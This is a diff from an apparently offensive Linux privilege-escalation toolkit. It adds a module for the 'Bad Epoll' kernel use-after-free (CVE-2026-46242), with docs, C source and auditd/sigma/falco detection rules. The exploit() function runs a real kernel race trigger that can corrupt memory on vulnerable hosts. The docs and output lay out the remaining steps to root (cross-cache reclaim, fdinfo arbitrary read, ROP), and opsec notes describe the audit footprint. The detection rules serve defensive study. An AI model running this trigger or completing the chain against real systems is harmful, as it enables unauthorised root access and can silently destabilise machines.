|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
@@ -843,9 +894,11 @@ const struct skeletonkey_module af_unix_gc_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
# bad_epoll — CVE-2026-46242
|
||||
|
||||
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
|
||||
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
|
||||
No user namespace, no capability, no special `CONFIG` — `epoll_create1(2)`,
|
||||
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
|
||||
makes this bug unusually dangerous.
|
||||
|
||||
## The bug
|
||||
|
||||
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
|
||||
`file->f_lock` but keeps **using** the file inside the same critical
|
||||
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
|
||||
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
|
||||
file can observe the transient `NULL` `f_ep`, skip
|
||||
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
|
||||
a `struct eventpoll` that the first path is still walking →
|
||||
**use-after-free** on a live kernel object.
|
||||
|
||||
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
|
||||
arranges four epoll objects in two pairs — one pair drives the race, the
|
||||
other is the victim — and converts the 8-byte UAF write into control of a
|
||||
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
|
||||
page is drained to the buddy allocator and reclaimed as pipe backing
|
||||
buffers). From there it reads arbitrary kernel memory through
|
||||
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
|
||||
despite a race window only ~6 instructions wide; the racer widens it with
|
||||
`close(dup())` storms that induce false-sharing on the file's `f_count`
|
||||
cache line. It **rarely trips KASAN**, which is why the bug survived three
|
||||
years and why it is hard to detect at runtime.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
|
||||
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
|
||||
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
|
||||
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
|
||||
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
|
||||
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
|
||||
| CISA KEV | no (brand new) |
|
||||
|
||||
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
|
||||
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
|
||||
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
|
||||
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` is a **pure version gate** — no active probe, because there is
|
||||
no cheap, safe way to distinguish a vulnerable kernel from a patched one
|
||||
without actually winning the race (the dangerous part). It returns `OK`
|
||||
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
|
||||
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
|
||||
namespace, so there is no unprivileged-userns stopgap to report or to
|
||||
harden with.
|
||||
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
|
||||
waiter eventpoll watching a target eventpoll) and exercises the
|
||||
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
|
||||
of times (48 attempts / 2 s), widening it with `close(dup())`
|
||||
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**. A *won* race frees a live
|
||||
`struct eventpoll` — genuine kernel memory corruption that rarely trips
|
||||
KASAN, so on a vulnerable production host a completed race can silently
|
||||
destabilise the box rather than cleanly oops. This module therefore does
|
||||
**not** grind the race to a win, does **not** perform the cross-cache
|
||||
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
|
||||
ROP that lands root (per-build offsets refused). The trigger is
|
||||
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
|
||||
never claims root it did not get.
|
||||
|
||||
Because a kernel race is the least predictable class in the corpus — and
|
||||
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
|
||||
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
|
||||
`--auto` only ever reaches for it after every safer vulnerable module.
|
||||
|
||||
## Detection is hard — read this before shipping the rules
|
||||
|
||||
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
|
||||
`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
|
||||
nginx, systemd, and every language runtime's event loop; the exploit
|
||||
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
|
||||
rules therefore key on the **post-exploitation** tell — an unprivileged
|
||||
process transitioning to euid 0 without a setuid `execve` — plus a
|
||||
recommendation to monitor kernel logs for oops/BUG lines. Expect false
|
||||
positives from legitimate privilege-management daemons and tune per
|
||||
environment. There is no yara rule (no file artifact). Treat this module
|
||||
as much as a *blue-team teaching case* — "here is a root LPE your existing
|
||||
stack is nearly blind to" — as an offensive one.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
|
||||
mitigation**: epoll cannot be disabled in practice, and no
|
||||
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
|
||||
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery, exploitation, and the public kernelCTF PoC:
|
||||
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,70 @@
|
||||
# NOTICE — bad_epoll (CVE-2026-46242)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
|
||||
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
|
||||
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
|
||||
to use the file inside the critical section (`hlist_del_rcu()` over the
|
||||
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
|
||||
linked epoll file observes the transient `NULL` `f_ep`, skips
|
||||
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
|
||||
`struct eventpoll` still in use → UAF.
|
||||
|
||||
The bug is reachable by **any unprivileged local user** — `epoll_create1`,
|
||||
`epoll_ctl`, and `close` require no capability, no user namespace, and no
|
||||
special kernel config. Exploitation converts the 8-byte UAF write into
|
||||
control of a `struct file` via a cross-cache attack, gains arbitrary
|
||||
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
|
||||
roughly 99% reliable despite a ~6-instruction race window. It also affects
|
||||
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
|
||||
root cause. **Not** in CISA KEV (brand new).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
|
||||
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
|
||||
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
|
||||
kernelCTF submission under
|
||||
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
|
||||
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
|
||||
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
|
||||
close-race shape only — no offsets or ROP are reused).
|
||||
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
|
||||
- **Fixed upstream** by commit
|
||||
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
|
||||
(2026-04-24); stable backport **7.0.13**.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
|
||||
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
|
||||
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
|
||||
code not present".
|
||||
|
||||
All credit for finding, analysing, and exploiting this bug belongs to
|
||||
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
|
||||
is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
the corpus's first epoll / VFS-file-teardown module and its cleanest
|
||||
example of an SMP kernel race, shipped on the same "fire the bug class and
|
||||
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
|
||||
(CVE-2026-23111).
|
||||
|
||||
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
|
||||
the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
|
||||
affected) — no userns or CONFIG precondition, because none is required.
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
|
||||
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
|
||||
hard-bounded number of times (48 attempts / 2 s), widening it with
|
||||
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**: a won race frees a live
|
||||
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
|
||||
does not grind the race to a win, does not perform the cross-cache reclaim,
|
||||
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
|
||||
(per-build offsets refused). The trigger is reconstructed from the public
|
||||
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
|
||||
carries the lowest `--auto` safety rank in the corpus.
|
||||
@@ -0,0 +1,434 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
|
||||
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
|
||||
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
|
||||
* *using* the file inside the critical section (the hlist_del_rcu() over
|
||||
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
|
||||
* linked epoll file can observe the transient NULL f_ep, skip
|
||||
* eventpoll_release_file(), and go straight to f_op->release — freeing a
|
||||
* struct eventpoll that the first path is still walking. The result is a
|
||||
* UAF on a live kernel object reachable by ANY unprivileged local user:
|
||||
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
|
||||
* namespace, and no special CONFIG (epoll is always built in). That is
|
||||
* what makes it nasty — there is no unprivileged-userns stopgap to close
|
||||
* the way there is for the netfilter bugs; the only fix is to patch.
|
||||
*
|
||||
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
|
||||
* to Google's kernelCTF: four epoll objects in two pairs — one pair
|
||||
* drives the race, the other is the victim — turn the 8-byte UAF write
|
||||
* into control of a struct file via a cross-cache attack, then arbitrary
|
||||
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
|
||||
* ~99% reliable despite a race window only ~6 instructions wide; it
|
||||
* rarely trips KASAN, which is precisely why the bug hid for three
|
||||
* years.
|
||||
*
|
||||
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
|
||||
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
|
||||
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
|
||||
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is a genuine SMP kernel race that, if *won*, frees a live
|
||||
* struct eventpoll — real memory corruption that (per the public
|
||||
* analysis) rarely trips KASAN, so a won-but-not-completed race can
|
||||
* silently destabilise a vulnerable host rather than cleanly oops.
|
||||
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
|
||||
* builds the epoll object graph and exercises the concurrent-close
|
||||
* window (ep_remove vs __fput) a small, bounded number of times inside
|
||||
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
|
||||
* does NOT grind the race to a win, does NOT perform the cross-cache
|
||||
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
|
||||
* ROP that lands root (per-build offsets refused). It returns
|
||||
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
|
||||
* reconstructed from the public kernelCTF PoC, not VM-verified. This
|
||||
* is why it carries the lowest safety rank in --auto (a kernel race is
|
||||
* the least predictable class; see skeletonkey.c module_safety_rank).
|
||||
*
|
||||
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
|
||||
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
|
||||
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
|
||||
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
|
||||
* precondition — any unprivileged user can reach it.
|
||||
*
|
||||
* Affected range (Debian security tracker, source of record):
|
||||
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
|
||||
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
|
||||
* not landed at time of writing → version-only VULNERABLE there
|
||||
* (tools/refresh-kernel-ranges.py will extend the table as distros
|
||||
* publish). 6.1 and older predate the bug.
|
||||
*
|
||||
* arch_support: x86_64 (the cross-cache groom + any future finisher are
|
||||
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
|
||||
* but we only claim x86_64 for exploit()).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/epoll.h>
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. The fix landed mainline in 7.1-rc1
|
||||
* (a6dc643c6931); the only stable backport that had shipped at time of
|
||||
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
|
||||
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
|
||||
* kernel_range_is_patched() treats any branch strictly newer than every
|
||||
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
|
||||
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
|
||||
* vulnerable — which is exactly the Debian tracker's verdict. Add
|
||||
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
|
||||
* checker flags them). security-tracker.debian.org is the source.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
|
||||
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range bad_epoll_range = {
|
||||
.patched_from = bad_epoll_patched_branches,
|
||||
.n_patched_from = sizeof(bad_epoll_patched_branches) /
|
||||
sizeof(bad_epoll_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
|
||||
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
|
||||
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
|
||||
* vulnerable code not present"). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
|
||||
"epoll teardown path (introduced 6.4) — not affected\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&bad_epoll_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
|
||||
"7.1+ inherits the mainline fix)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
|
||||
"[6.4, fix); epoll teardown race reachable by any "
|
||||
"unprivileged user (no userns / CONFIG gate)\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
|
||||
"here — the only fix is to patch the kernel\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Reconstructed reachability trigger (deliberately under-driven).
|
||||
*
|
||||
* Faithful minimal shape of the public PoC's race pair: a "waiter"
|
||||
* epoll watches a "target" epoll; the two are then closed concurrently
|
||||
* from CPU-pinned contexts so ep_remove() (driven by fput of the
|
||||
* watched target) races __fput() of the waiter eventpoll. The PoC
|
||||
* widens the ~6-instruction window with close(dup(target)) storms that
|
||||
* induce false-sharing on the file's f_count cache line and stall the
|
||||
* racer's read of f_op.
|
||||
*
|
||||
* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
|
||||
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
|
||||
* freed slab, do NOT run the depth-3 nesting oracle that only fires
|
||||
* after a real UAF write, and do NOT weaponise. The honest witness is
|
||||
* therefore coarse: a signal in the isolated child (a KASAN oops or
|
||||
* corruption fault, if the race happened to fire) and an eventpoll-slab
|
||||
* delta. Absence of a witness does NOT prove the host is safe.
|
||||
* ------------------------------------------------------------------ */
|
||||
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
|
||||
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
|
||||
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
|
||||
|
||||
static void bep_pin_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||
}
|
||||
|
||||
struct bep_racer {
|
||||
int waiter_fd; /* fd the racer closes */
|
||||
atomic_int *go; /* fire signal from main */
|
||||
atomic_int *closed; /* set once the racer has closed */
|
||||
};
|
||||
|
||||
static void *bep_racer_fn(void *arg)
|
||||
{
|
||||
struct bep_racer *r = (struct bep_racer *)arg;
|
||||
bep_pin_cpu(0);
|
||||
/* Spin until main is at the close point, then race. */
|
||||
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
|
||||
;
|
||||
close(r->waiter_fd);
|
||||
atomic_store_explicit(r->closed, 1, memory_order_release);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static long bep_slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
size_t n = strlen(slab);
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + n, " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* One race attempt: build (target, waiter) with waiter watching target,
|
||||
* then close both concurrently. Returns 0 normally; the interesting
|
||||
* outcome (a won race) manifests as a signal that the parent observes,
|
||||
* not a return value. */
|
||||
static void bep_one_attempt(void)
|
||||
{
|
||||
int target = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (target < 0) return;
|
||||
int waiter = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (waiter < 0) { close(target); return; }
|
||||
|
||||
/* waiter watches target — this is the link that makes closing target
|
||||
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
|
||||
struct epoll_event ev = { .events = EPOLLIN };
|
||||
ev.data.fd = target;
|
||||
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
atomic_int go = 0, closed = 0;
|
||||
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
|
||||
pthread_t th;
|
||||
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
/* Widen the window: false-sharing storm on target's f_count line,
|
||||
* then release the racer and close target ourselves so ep_remove
|
||||
* (our fput of the watched file) overlaps __fput of the waiter. */
|
||||
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
|
||||
int d = dup(target);
|
||||
if (d >= 0) close(d);
|
||||
}
|
||||
atomic_store_explicit(&go, 1, memory_order_release);
|
||||
close(target);
|
||||
|
||||
pthread_join(th, NULL);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = bad_epoll_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] bad_epoll: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
|
||||
"the epoll race pair and exercises the ep_remove vs __fput "
|
||||
"close window (%d bounded attempts, %ds cap), then stops. "
|
||||
"The cross-cache → struct file control → fdinfo arb-read → "
|
||||
"ROP root-pop is NOT bundled.\n",
|
||||
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
|
||||
|
||||
/* Fork-isolated: a won race frees a live struct eventpoll. On a
|
||||
* KASAN kernel that oopses (contained to the child); on a plain
|
||||
* vulnerable kernel it may corrupt — which is exactly why we bound
|
||||
* the attempt count hard and never reclaim. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
bep_pin_cpu(1);
|
||||
long before = bep_slabinfo_active("eventpoll");
|
||||
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
|
||||
|
||||
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
|
||||
int done = 0;
|
||||
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||
bep_one_attempt();
|
||||
done = i + 1;
|
||||
}
|
||||
|
||||
long after = bep_slabinfo_active("eventpoll");
|
||||
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
|
||||
"eventpoll/kmalloc-192 active: %ld → %ld\n",
|
||||
done, before, after);
|
||||
_exit(100); /* honest: window exercised, race not driven to a win */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
|
||||
"teardown race may have fired (KASAN oops / corruption "
|
||||
"fault). This is the bug, but no root was obtained.\n",
|
||||
WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
|
||||
"primitive). Full chain is NOT bundled and the trigger "
|
||||
"is not VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
|
||||
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
|
||||
"/proc/self/fdinfo arbitrary read + ROP for "
|
||||
"CVE-2026-46242.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
|
||||
"UAF) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules -----
|
||||
*
|
||||
* Honesty note (see MODULE.md): epoll is one of the most heavily used
|
||||
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
|
||||
* unprivileged process is the steady-state behaviour of nginx, systemd,
|
||||
* every language runtime's event loop, etc. There is NO clean behavioural
|
||||
* signature for this exploit, and it rarely trips KASAN. These rules are
|
||||
* therefore intentionally weak/structural — the reliable signal is the
|
||||
* post-exploitation privilege transition, not the epoll traffic. Tune
|
||||
* hard or you will drown in false positives.
|
||||
*/
|
||||
static const char bad_epoll_auditd[] =
|
||||
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
|
||||
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
|
||||
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
|
||||
"# unprivileged process transitioning to euid 0 without going through a\n"
|
||||
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
|
||||
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
|
||||
|
||||
static const char bad_epoll_sigma[] =
|
||||
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
|
||||
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
|
||||
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
|
||||
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
|
||||
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
|
||||
